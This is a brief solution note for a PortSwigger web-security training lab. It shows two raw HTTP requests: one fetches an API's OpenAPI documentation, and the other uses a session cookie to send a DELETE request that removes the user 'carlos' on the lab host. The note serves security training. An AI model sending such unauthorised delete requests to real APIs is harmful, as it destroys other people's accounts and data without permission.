Lab: Exploiting an API endpoint using documentation

https://portswigger.net/web-security/api-testing/lab-exploiting-api-endpoint-using-documentation

Api Documentation

GET /api/openapi.json HTTP/2
Host: 0a52001104b2fdba82e70b9e0039007d.web-security-academy.net
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Cache-Control: max-age=0

Deleting User

DELETE /api/user/carlos HTTP/2
Host: 0a52001104b2fdba82e70b9e0039007d.web-security-academy.net
Cookie: session=b5Mr7ZUbiGHzFjjQO7LKVXnT6jiHHL0t
Content-Length: 0
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://0a52001104b2fdba82e70b9e0039007d.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a52001104b2fdba82e70b9e0039007d.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Priority: u=1, i